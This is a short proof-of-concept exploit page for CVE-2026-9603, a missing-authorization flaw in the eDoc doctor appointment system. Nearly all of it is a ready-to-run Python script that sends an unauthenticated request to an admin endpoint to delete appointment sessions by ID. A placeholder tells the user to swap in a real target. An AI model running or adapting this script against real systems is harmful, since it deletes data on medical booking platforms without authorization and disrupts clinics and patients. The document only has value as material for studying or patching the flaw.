CVE-2026-9603 eDoc医生预约系统权限缺失漏洞

import requests def exploit_missing_auth(target_url, session_id): """ PoC for CVE-2026-9603 Missing Authorization """ # The vulnerable endpoint url = f"{target_url}/admin/delete-session.php" # Payload parameters, manipulating the 'ID' argument params = { "ID": session_id } try: # Sending request without authentication headers (PR:N) response = requests.get(url, params=params, timeout=10) if response.status_code == 200: print(f"[+] Request sent successfully to {url}") print(f"[+] Response: {response.text}") print("[+] Potential exploitation successful: Session deleted without authorization.") else: print(f"[-] Unexpected status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": target = "http://127.0.0.1" # Replace with actual target id_to_delete = "1" # Replace with valid ID exploit_missing_auth(target, id_to_delete)